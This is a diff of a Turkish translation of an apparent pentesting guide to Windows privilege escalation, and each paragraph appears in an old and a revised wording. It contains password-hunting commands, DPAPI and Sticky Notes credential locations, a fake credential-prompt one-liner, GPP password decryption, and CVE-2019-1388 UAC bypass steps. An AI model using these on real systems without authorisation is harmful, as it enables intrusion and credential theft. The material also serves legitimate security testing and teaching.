**İkili dosyaların izinlerini** kontrol edin (belki birini değiştirebilir ve ayrıcalıkları yükseltebilirsiniz) ve **klasörlerin** ([DLL Hijacking](dll-hijacking/index.html)).
**binaries** (belki birini değiştirebilir ve ayrıcalıkları yükseltebilirsiniz) ve **folders** ([DLL Hijacking](dll-hijacking/index.html)) izinlerini kontrol edin.
```bash
dir /a "C:\Program Files"
dir /a "C:\Program Files (x86)"
@ -564,7 +566,7 @@ Get-ChildItem -path Registry::HKEY_LOCAL_MACHINE\SOFTWARE | ft Name
```
### Yazma İzinleri
Bazı yapılandırma dosyalarını özel bir dosyayı okumak için değiştirebilir misiniz veya bir Yönetici hesabı (schedtasks) tarafından çalıştırılacak bir ikili dosyayı değiştirebilir misiniz kontrol edin.
Bazı özel dosyaları okumak için bir yapılandırma dosyasını değiştirebilir misiniz veya bir Yönetici hesabı (schedtasks) tarafından çalıştırılacak bir ikili dosyayı değiştirebilir misiniz kontrol edin.
Sistemde zayıf klasör/dosya izinlerini bulmanın bir yolu:
```bash
@ -592,7 +594,7 @@ Get-ChildItem 'C:\Program Files\*','C:\Program Files (x86)\*' | % { try { Get-Ac
### Başlangıçta Çalıştır
**Farklı bir kullanıcı tarafından çalıştırılacak bazı kayıt defteri veya ikili dosyaları geçersiz kılabilir misiniz kontrol edin.**\
**Yetki artırımı için ilginç** **autorun konumları hakkında daha fazla bilgi edinmek için** **aşağıdaki sayfayı** **okuyun**:
**İlginç** **autorun konumları hakkında daha fazla bilgi edinmek için** **aşağıdaki sayfayı** **okuyun**:
{{#ref}}
privilege-escalation-with-autorun-binaries.md
@ -608,7 +610,7 @@ driverquery /SI
```
## PATH DLL Hijacking
Eğer **PATH üzerinde bulunan bir klasörde yazma izinleriniz varsa** bir süreç tarafından yüklenen bir DLL'yi ele geçirip **yetkileri artırabilirsiniz**.
Eğer **PATH üzerinde bulunan bir klasörde yazma izinleriniz varsa**, bir süreç tarafından yüklenen bir DLL'yi ele geçirip **yetkileri artırabilirsiniz**.
PATH içindeki tüm klasörlerin izinlerini kontrol edin:
```bash
@ -632,7 +634,7 @@ net share #Check current shares
```
### hosts dosyası
hosts dosyasında hardcoded olarak bulunan diğer bilinen bilgisayarları kontrol edin
Hosts dosyasında hardcoded olarak bulunan diğer bilinen bilgisayarları kontrol edin.
```
type C:\Windows\System32\drivers\etc\hosts
```
@ -662,7 +664,7 @@ Get-NetNeighbor -AddressFamily IPv4 | ft ifIndex,IPAddress,L
[**Firewall ile ilgili komutlar için bu sayfayı kontrol edin**](../basic-cmd-for-pentesters.md#firewall) **(kuralları listele, kurallar oluştur, kapat, kapat...)**
Daha fazla [enumerasyonu komutları burada](../basic-cmd-for-pentesters.md#network)
Daha fazla [numaralandırma komutları burada](../basic-cmd-for-pentesters.md#network)
### Windows Alt Sistemi için Linux (wsl)
```bash
@ -671,7 +673,7 @@ C:\Windows\System32\wsl.exe
```
Binary `bash.exe` ayrıca `C:\Windows\WinSxS\amd64_microsoft-windows-lxssbash_[...]\bash.exe` içinde bulunabilir.
Eğer root kullanıcısı olursanız, herhangi bir portta dinleyebilirsiniz (ilk kez `nc.exe` kullanarak bir portta dinlediğinizde, GUI üzerinden `nc`'nin güvenlik duvarı tarafından izin verilip verilmeyeceğini soracaktır).
Eğer root kullanıcıya erişirseniz, herhangi bir portta dinleme yapabilirsiniz (ilk kez `nc.exe` ile bir portta dinleme yaptığınızda, GUI üzerinden `nc`'nin güvenlik duvarı tarafından izin verilip verilmeyeceğini soracaktır).
```bash
wsl whoami
./ubuntun1604.exe config --default-user root
@ -699,9 +701,9 @@ reg query "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon" /v AltDef
### Kimlik bilgileri yöneticisi / Windows kasası
From [https://www.neowin.net/news/windows-7-exploring-credential-manager-and-windows-vault](https://www.neowin.net/news/windows-7-exploring-credential-manager-and-windows-vault)\
Windows Kasa, **Windows**'un kullanıcıları **otomatik olarak giriş yapabileceği** sunucular, web siteleri ve diğer programlar için kullanıcı kimlik bilgilerini saklar. İlk bakışta, bu kullanıcıların Facebook kimlik bilgilerini, Twitter kimlik bilgilerini, Gmail kimlik bilgilerini vb. saklayabileceği gibi görünebilir, böylece tarayıcılar aracılığıyla otomatik olarak giriş yapabilirler. Ama durum böyle değil.
Windows Kasa, **Windows**'un kullanıcıları **otomatik olarak oturum açabileceği** sunucular, web siteleri ve diğer programlar için kullanıcı kimlik bilgilerini saklar. İlk bakışta, bu kullanıcıların Facebook kimlik bilgilerini, Twitter kimlik bilgilerini, Gmail kimlik bilgilerini vb. saklayabileceği gibi görünebilir, böylece tarayıcılar aracılığıyla otomatik olarak oturum açarlar. Ama durum böyle değil.
Windows Kasa, Windows'un kullanıcıları otomatik olarak giriş yapabileceği kimlik bilgilerini saklar, bu da demektir ki, herhangi bir **kaynağa erişmek için kimlik bilgilerine ihtiyaç duyan Windows uygulaması** (sunucu veya web sitesi) **bu Kimlik Bilgileri Yöneticisi** ve Windows Kasa'dan yararlanabilir ve kullanıcıların her seferinde kullanıcı adı ve şifre girmesi yerine sağlanan kimlik bilgilerini kullanabilir.
Windows Kasa, Windows'un kullanıcıları otomatik olarak oturum açabileceği kimlik bilgilerini saklar, bu da demektir ki, herhangi bir **kaynağa erişmek için kimlik bilgilerine ihtiyaç duyan Windows uygulaması** (sunucu veya web sitesi) **bu Kimlik Bilgileri Yöneticisi** ve Windows Kasa'dan yararlanabilir ve kullanıcıların her seferinde kullanıcı adı ve şifre girmesi yerine sağlanan kimlik bilgilerini kullanabilir.
Uygulamalar Kimlik Bilgileri Yöneticisi ile etkileşime geçmediği sürece, belirli bir kaynak için kimlik bilgilerini kullanmalarının mümkün olduğunu düşünmüyorum. Bu nedenle, uygulamanız kasayı kullanmak istiyorsa, bir şekilde **kimlik bilgileri yöneticisi ile iletişim kurmalı ve varsayılan depolama kasasından o kaynak için kimlik bilgilerini talep etmelidir**.
@ -725,11 +727,11 @@ Not edin ki mimikatz, lazagne, [credentialfileview](https://www.nirsoft.net/util
### DPAPI
**Data Protection API (DPAPI)**, verilerin simetrik şifrelenmesi için bir yöntem sağlar ve esasen Windows işletim sistemi içinde asimetrik özel anahtarların simetrik şifrelenmesi için kullanılır. Bu şifreleme, önemli ölçüde entropiye katkıda bulunmak için bir kullanıcı veya sistem sırrını kullanır.
**Data Protection API (DPAPI)**, verilerin simetrik şifrelenmesi için bir yöntem sağlar ve esasen Windows işletim sistemi içinde asimetrik özel anahtarların simetrik şifrelenmesi için kullanılır. Bu şifreleme, entropiye önemli ölçüde katkıda bulunmak için bir kullanıcı veya sistem sırrını kullanır.
**DPAPI, kullanıcı giriş sırlarından türetilen bir simetrik anahtar aracılığıyla anahtarların şifrelenmesini sağlar**. Sistem şifrelemesi içeren senaryolarda, sistemin alan kimlik doğrulama sırlarını kullanır.
DPAPI kullanarak şifrelenmiş kullanıcı RSA anahtarları, `%APPDATA%\Microsoft\Protect\{SID}` dizininde saklanır; burada `{SID}`, kullanıcının [Güvenlik Tanımlayıcısı](https://en.wikipedia.org/wiki/Security_Identifier) anlamına gelir. **DPAPI anahtarı, kullanıcının özel anahtarlarını koruyan anahtar ile aynı dosyada yer alır** ve genellikle 64 bayt rastgele veriden oluşur. (Bu dizine erişimin kısıtlandığını ve içeriğinin CMD'de `dir` komutu ile listelenemediğini, ancak PowerShell aracılığıyla listelenebileceğini belirtmek önemlidir).
DPAPI kullanarak şifrelenmiş kullanıcı RSA anahtarları, `%APPDATA%\Microsoft\Protect\{SID}` dizininde saklanır; burada `{SID}`, kullanıcının [Güvenlik Tanımlayıcısı](https://en.wikipedia.org/wiki/Security_Identifier) anlamına gelir. **DPAPI anahtarı, kullanıcının özel anahtarlarını koruyan anahtar ile aynı dosyada yer alır** ve genellikle 64 bayt rastgele veriden oluşur. (Bu dizine erişimin kısıtlandığını ve içeriğinin CMD'de `dir` komutu ile listelenemediğini, ancak PowerShell aracılığıyla listelenebileceğini not etmek önemlidir).
```powershell
Get-ChildItem C:\Users\USER\AppData\Roaming\Microsoft\Protect\
Get-ChildItem C:\Users\USER\AppData\Local\Microsoft\Protect\
@ -793,7 +795,7 @@ Birçok DPAPI masterkey'i Mimikatz `sekurlsa::dpapi` modülü ile bellekten **ç
### Sticky Notes
İnsanlar genellikle Windows iş istasyonlarında şifreleri ve diğer bilgileri **kaydetmek için** StickyNotes uygulamasını kullanır, bunun bir veritabanı dosyası olduğunu fark etmezler. Bu dosya `C:\Users\<user>\AppData\Local\Packages\Microsoft.MicrosoftStickyNotes_8wekyb3d8bbwe\LocalState\plum.sqlite` konumunda bulunur ve her zaman aramaya ve incelemeye değerdir.
İnsanlar genellikle Windows iş istasyonlarında şifreleri ve diğer bilgileri **kaydetmek için** StickyNotes uygulamasını kullanır, bunun bir veritabanı dosyası olduğunu fark etmeden. Bu dosya `C:\Users\<user>\AppData\Local\Packages\Microsoft.MicrosoftStickyNotes_8wekyb3d8bbwe\LocalState\plum.sqlite` konumunda bulunur ve her zaman aramaya ve incelemeye değerdir.
### AppCmd.exe
@ -801,7 +803,7 @@ Birçok DPAPI masterkey'i Mimikatz `sekurlsa::dpapi` modülü ile bellekten **ç
**AppCmd.exe** `%systemroot%\system32\inetsrv\` dizininde bulunur.\
Bu dosya mevcutsa, bazı **kimlik bilgileri** yapılandırılmış olabilir ve **kurtarılabilir**.
Bu kod [**PowerUP**](https://github.com/PowerShellMafia/PowerSploit/blob/master/Privesc/PowerUp.ps1) projesinden alınmıştır:
Bu kod [**PowerUP**](https://github.com/PowerShellMafia/PowerSploit/blob/master/Privesc/PowerUp.ps1) kaynağından alınmıştır:
```bash
function Get-ApplicationHost {
$OrigError = $ErrorActionPreference
@ -974,7 +976,7 @@ AppData\Roaming\gcloud\access_tokens.db
### Cached GPP Pasword
Daha önce, Grup Politika Tercihleri (GPP) aracılığıyla bir grup makinede özel yerel yönetici hesaplarının dağıtımına olanak tanıyan bir özellik mevcuttu. Ancak, bu yöntemin önemli güvenlik açıkları vardı. Öncelikle, SYSVOL'da XML dosyası olarak saklanan Grup Politika Nesneleri (GPO'lar), herhangi bir etki alanı kullanıcısı tarafından erişilebilir durumdaydı. İkincisi, bu GPP'lerdeki şifreler, kamuya belgelenmiş varsayılan bir anahtar kullanılarak AES256 ile şifrelenmişti ve herhangi bir kimlik doğrulaması yapılmış kullanıcı tarafından çözülebiliyordu. Bu, kullanıcıların yükseltilmiş ayrıcalıklar elde etmesine olanak tanıdığı için ciddi bir risk oluşturuyordu.
Daha önce, Grup Politika Tercihleri (GPP) aracılığıyla bir grup makinede özel yerel yönetici hesaplarının dağıtımına olanak tanıyan bir özellik mevcuttu. Ancak, bu yöntemin önemli güvenlik açıkları vardı. Öncelikle, SYSVOL'da XML dosyası olarak saklanan Grup Politika Nesneleri (GPO'lar), herhangi bir etki alanı kullanıcısı tarafından erişilebilir durumdaydı. İkincisi, bu GPP'lerdeki şifreler, kamuya belgelenmiş varsayılan bir anahtar kullanılarak AES256 ile şifrelenmişti ve herhangi bir kimlik doğrulaması yapılmış kullanıcı tarafından çözülebiliyordu. Bu, kullanıcıların yükseltilmiş ayrıcalıklar elde etmesine olanak tanıyabileceği için ciddi bir risk oluşturuyordu.
Bu riski azaltmak için, boş olmayan bir "cpassword" alanı içeren yerel olarak önbelleğe alınmış GPP dosyalarını tarayan bir işlev geliştirildi. Böyle bir dosya bulunduğunda, işlev şifreyi çözer ve özel bir PowerShell nesnesi döndürür. Bu nesne, GPP hakkında ve dosyanın konumu hakkında ayrıntılar içerir, bu da bu güvenlik açığının tanımlanmasına ve giderilmesine yardımcı olur.
@ -992,7 +994,7 @@ Bu dosyaları bulmak için `C:\ProgramData\Microsoft\Group Policy\history` veya
#To decrypt these passwords you can decrypt it using
gpp-decrypt j1Uyj3Vx8TY9LtLZil2uAuZkFQA/4latT76ZwgdHdhw
```
crackmapexec kullanarak şifreleri almak:
crackmapexec kullanarak şifreleri elde etme:
```bash
crackmapexec smb 10.10.10.10 -u username -p pwd -M gpp_autologin
```
@ -1010,7 +1012,7 @@ C:\inetpub\wwwroot\web.config
Get-Childitem Path C:\inetpub\ -Include web.config -File -Recurse -ErrorAction SilentlyContinue
Get-Childitem Path C:\xampp\ -Include web.config -File -Recurse -ErrorAction SilentlyContinue
```
Örnek bir web.config dosyası ile kimlik bilgileri:
Örnek web.config ile kimlik bilgileri:
```xml
<authentication mode="Forms">
<forms name="login" loginUrl="/admin">
@ -1050,7 +1052,7 @@ Get-Childitem Path C:\ -Include access.log,error.log -File -Recurse -ErrorAct
```
### Kimlik bilgilerini isteyin
Her zaman **kullanıcıdan kendi kimlik bilgilerini veya farklı bir kullanıcının kimlik bilgilerini girmesini isteyebilirsiniz** eğer onları bilebileceğini düşünüyorsanız (dikkat edin ki **müşteriden** doğrudan **kimlik bilgilerini istemek** gerçekten **riskli**dir):
Her zaman **kullanıcının kendi kimlik bilgilerini veya farklı bir kullanıcının kimlik bilgilerini girmesini isteyebilirsiniz** eğer onları bilebileceğini düşünüyorsanız (dikkat edin ki **müşteriden** doğrudan **kimlik bilgilerini istemek** gerçekten **riskli**dir):
```bash
$cred = $host.ui.promptforcredential('Failed Authentication','',[Environment]::UserDomainName+'\'+[Environment]::UserName,[Environment]::UserDomainName); $cred.getnetworkcredential().password
$cred = $host.ui.promptforcredential('Failed Authentication','',[Environment]::UserDomainName+'\'+'anotherusername',[Environment]::UserDomainName); $cred.getnetworkcredential().password
@ -1164,11 +1166,11 @@ Tarayıcılardan şifreleri çıkarmak için araçlar:
### **COM DLL Üzerine Yazma**
**Bileşen Nesne Modeli (COM)**, farklı dillerdeki yazılım bileşenleri arasında **iletişim** sağlamak için Windows işletim sistemine entegre edilmiş bir teknolojidir. Her COM bileşeni, **bir sınıf kimliği (CLSID)** ile **tanımlanır** ve her bileşen, **arayüz kimlikleri (IIDs)** ile tanımlanan bir veya daha fazla arayüz aracılığıyla işlevsellik sunar.
**Bileşen Nesne Modeli (COM)**, farklı dillerdeki yazılım bileşenleri arasında **iletişim** sağlamak için Windows işletim sistemine entegre edilmiş bir teknolojidir. Her COM bileşeni, **bir sınıf kimliği (CLSID)** ile **tanımlanır** ve her bileşen, bir veya daha fazla arayüz aracılığıyla işlevsellik sunar; bu arayüzler, arayüz kimlikleri (IIDs) ile tanımlanır.
COM sınıfları ve arayüzleri, kayıt defterinde **HKEY\_**_**CLASSES\_**_**ROOT\CLSID** ve **HKEY\_**_**CLASSES\_**_**ROOT\Interface** altında tanımlanmıştır. Bu kayıt defteri, **HKEY\_**_**LOCAL\_**_**MACHINE\Software\Classes** + **HKEY\_**_**CURRENT\_**_**USER\Software\Classes** = **HKEY\_**_**CLASSES\_**_**ROOT** birleştirilerek oluşturulur.
Bu kayıt defterinin CLSID'leri içinde, bir **DLL**'ye işaret eden bir **varsayılan değer** ve **Apartment** (Tek İşlem), **Free** (Çoklu İşlem), **Both** (Tek veya Çoklu) veya **Neutral** (İşlem Nötr) olabilen bir **ThreadingModel** adlı değeri içeren **InProcServer32** adlı alt kayıt defterini bulabilirsiniz.
Bu kayıt defterinin CLSID'leri içinde, bir **DLL**'ye işaret eden bir **varsayılan değer** ve **Apartment** (Tek İşlemci), **Free** (Çok İşlemci), **Both** (Tek veya Çok) veya **Neutral** (İşlemci Nötr) olabilen bir değer olan **ThreadingModel**'i içeren **InProcServer32** adlı alt kayıt defterini bulabilirsiniz.
![](<../../images/image (729).png>)
@ -1188,7 +1190,7 @@ cd C:\ & findstr /SI /M "password" *.xml *.ini *.txt
findstr /si password *.xml *.ini *.txt *.config
findstr /spin "password" *.*
```
**Belirli bir dosya adıyla bir dosya arayın**
**Belirli bir dosya adıyla dosya arayın**
```bash
dir /S /B *pass*.txt == *pass*.xml == *pass*.ini == *cred* == *vnc* == *.config*
where /R C:\ user.txt
@ -1207,7 +1209,7 @@ REG QUERY HKCU /F "password" /t REG_SZ /S /d
[**Winpeas**](https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite) bu sayfada belirtilen parolaları içeren tüm dosyaları otomatik olarak arar.\
[**Lazagne**](https://github.com/AlessandroZ/LaZagne) bir sistemden parola çıkarmak için başka bir harika araçtır.
[**SessionGopher**](https://github.com/Arvanaghi/SessionGopher) aracı **oturumlar**, **kullanıcı adları** ve **parolaları**ık metin olarak kaydeden çeşitli araçların verilerini arar (PuTTY, WinSCP, FileZilla, SuperPuTTY ve RDP).
[**SessionGopher**](https://github.com/Arvanaghi/SessionGopher) aracı **oturumlar**, **kullanıcı adları** ve **parolaları**ık metin olarak kaydeden çeşitli araçların (PuTTY, WinSCP, FileZilla, SuperPuTTY ve RDP) verilerini arar.
```bash
Import-Module path\to\SessionGopher.ps1;
Invoke-SessionGopher -Thorough
@ -1221,7 +1223,7 @@ Then, if you have **full access to the low privileged process**, you can grab th
[Read this example for more information about **how to detect and exploit this vulnerability**.](leaked-handle-exploitation.md)\
[Read this **other post for a more complete explanation on how to test and abuse more open handlers of processes and threads inherited with different levels of permissions (not only full access)**](http://dronesec.pw/blog/2019/08/22/exploiting-leaked-process-and-thread-handles/).
## İsimli Boru İstemcisi Taklit Etme
## İsimli Boru Müşteri Taklidi
Shared memory segments, referred to as **pipes**, enable process communication and data transfer.
@ -1245,13 +1247,13 @@ $process2 = Get-WmiObject Win32_Process | Select-Object CommandLine
Compare-Object -ReferenceObject $process -DifferenceObject $process2
}
```
## Şifreleri Süreçlerden Çalma
## Süreçlerden Parola Çalma
## Düşük Yetkili Kullanıcıdan NT\AUTHORITY SYSTEM'a (CVE-2019-1388) / UAC Bypass
## Düşük Yetkili Kullanıcıdan NT\AUTHORITY SYSTEM'a (CVE-2019-1388) / UAC Atlatma
Grafik arayüzüne (konsol veya RDP aracılığıyla) erişiminiz varsa ve UAC etkinse, bazı Microsoft Windows sürümlerinde yetkisiz bir kullanıcıdan "NT\AUTHORITY SYSTEM" gibi bir terminal veya başka bir süreci çalıştırmak mümkündür.
Grafik arayüzüne (konsol veya RDP aracılığıyla) erişiminiz varsa ve UAC etkinse, bazı Microsoft Windows sürümlerinde yetkisiz bir kullanıcıdan "NT\AUTHORITY SYSTEM" gibi bir terminal veya başka bir süreç çalıştırmak mümkündür.
Bu, aynı anda yetki yükseltme ve UAC'yi atlatma olanağı sağlar ve aynı zafiyeti kullanır. Ayrıca, herhangi bir şey yüklemeye gerek yoktur ve süreç sırasında kullanılan ikili dosya, Microsoft tarafından imzalanmış ve verilmiştir.
Bu, aynı anda yetki yükseltme ve UAC'yi atlatma olanağı sağlar ve aynı zafiyetle gerçekleştirilir. Ayrıca, herhangi bir şey yüklemeye gerek yoktur ve süreç sırasında kullanılan ikili dosya, Microsoft tarafından imzalanmış ve verilmiştir.
Etkilenen sistemlerden bazıları şunlardır:
```
@ -1293,7 +1295,7 @@ Bu güvenlik açığını istismar etmek için aşağıdaki adımların gerçekl
8) Remember to cancel setup and the UAC prompt to return to your desktop.
```
Aşağıdaki GitHub deposunda gerekli tüm dosyalar ve bilgiler bulunmaktadır:
Aşağıdaki GitHub deposunda gerekli tüm dosyalar ve bilgiler mevcuttur:
https://github.com/jas502n/CVE-2019-1388
@ -1323,21 +1325,21 @@ sc start newservicename
### AlwaysInstallElevated
Yüksek Bütünlük sürecinden **AlwaysInstallElevated kayıt defteri girişlerini etkinleştirmeyi** ve bir _**.msi**_ sarmalayıcı kullanarak bir ters shell **kurmayı** deneyebilirsiniz.\
[Kayıt defteri anahtarları ve bir _.msi_ paketini nasıl kuracağınız hakkında daha fazla bilgi burada.](#alwaysinstallelevated)
[Kayıt defteri anahtarları ve bir _.msi_ paketinin nasıl yükleneceği hakkında daha fazla bilgi burada.](#alwaysinstallelevated)
### High + SeImpersonate ayrıcalığını Sisteme
**Kodunuzu** [**buradan bulabilirsiniz**](seimpersonate-from-high-to-system.md)**.**
**Kodu** [**buradan bulabilirsiniz**](seimpersonate-from-high-to-system.md)**.**
### SeDebug + SeImpersonate'den Tam Token ayrıcalıklarına
Bu token ayrıcalıklarına sahipseniz (muhtemelen bunu zaten Yüksek Bütünlük sürecinde bulacaksınız), **neredeyse her süreci** (korunan süreçler hariç) SeDebug ayrıcalığı ile **açabileceksiniz**, sürecin **token'ını kopyalayabilir** ve o token ile **rastgele bir süreç oluşturabilirsiniz**.\
Bu token ayrıcalıklarına sahipseniz (muhtemelen bunu zaten Yüksek Bütünlük sürecinde bulacaksınız), **neredeyse her süreci** (korunan süreçler hariç) SeDebug ayrıcalığı ile **açabileceksiniz**, sürecin **token'ını kopyalayacak** ve o token ile **rastgele bir süreç oluşturacaksınız**.\
Bu tekniği kullanmak genellikle **tüm token ayrıcalıklarına sahip olarak SYSTEM olarak çalışan herhangi bir süreci seçmek** şeklindedir (_evet, tüm token ayrıcalıklarına sahip SYSTEM süreçlerini bulabilirsiniz_).\
**Önerilen tekniği uygulayan bir** [**kod örneğini buradan bulabilirsiniz**](sedebug-+-seimpersonate-copy-token.md)**.**
**Önerilen tekniği uygulayan bir** [**kod örneğini burada bulabilirsiniz**](sedebug-+-seimpersonate-copy-token.md)**.**
### **Named Pipes**
Bu teknik, meterpreter tarafından `getsystem`'da yükselmek için kullanılır. Teknik, **bir boru oluşturmayı ve ardından o boruya yazmak için bir hizmet oluşturmayı/istismar etmeyi** içerir. Daha sonra, **boruyu** oluşturan **sunucu**, **`SeImpersonate`** ayrıcalığı ile boru istemcisinin (hizmetin) **token'ını taklit edebilecektir** ve SYSTEM ayrıcalıklarını elde edecektir.\
Bu teknik, meterpreter tarafından `getsystem`'da yükselmek için kullanılır. Teknik, **bir boru oluşturmayı ve ardından o boruya yazmak için bir hizmet oluşturmayı/istismar etmeyi** içerir. Daha sonra, **boruyu** oluşturan **sunucu**, **`SeImpersonate`** ayrıcalığı kullanarak boru istemcisinin (hizmetin) **token'ını taklit edebilecektir** ve SYSTEM ayrıcalıklarını elde edecektir.\
Eğer [**isimli borular hakkında daha fazla bilgi edinmek istiyorsanız bunu okumalısınız**](#named-pipe-client-impersonation).\
Eğer [**isimli borular kullanarak yüksek bütünlükten Sisteme nasıl geçileceğine dair bir örnek okumak istiyorsanız bunu okumalısınız**](from-high-integrity-to-system-with-name-pipes.md).
@ -1373,10 +1375,10 @@ https://github.com/sailay1996/RpcSsImpersonator
[**SessionGopher**](https://github.com/Arvanaghi/SessionGopher) **-- PuTTY, WinSCP, SuperPuTTY, FileZilla ve RDP kaydedilmiş oturum bilgilerini çıkarır. Yerel olarak -Thorough kullanın.**\
[**Invoke-WCMDump**](https://github.com/peewpw/Invoke-WCMDump) **-- Kimlik bilgilerini Credential Manager'dan çıkarır. Tespit edildi.**\
[**DomainPasswordSpray**](https://github.com/dafthack/DomainPasswordSpray) **-- Toplanan parolaları alan adı üzerinde püskürt**\
[**Inveigh**](https://github.com/Kevin-Robertson/Inveigh) **-- Inveigh, bir PowerShell ADIDNS/LLMNR/mDNS/NBNS sahteleyici ve adam-arasında bir araçtır.**\
[**Inveigh**](https://github.com/Kevin-Robertson/Inveigh) **-- Inveigh, bir PowerShell ADIDNS/LLMNR/mDNS/NBNS sahteleyici ve adam ortada aracı.**\
[**WindowsEnum**](https://github.com/absolomb/WindowsEnum/blob/master/WindowsEnum.ps1) **-- Temel privesc Windows envanteri**\
[~~**Sherlock**~~](https://github.com/rasta-mouse/Sherlock) **\~\~**\~\~ -- Bilinen privesc zafiyetlerini arar (WATSON için DEPREKATE)\
[~~**WINspect**~~](https://github.com/A-mIn3/WINspect) -- Yerel kontroller **(Yönetici hakları gerektirir)**
[~~**WINspect**~~](https://github.com/A-mIn3/WINspect) -- Yerel kontroller **(Yönetici hakları gerekir)**
**Exe**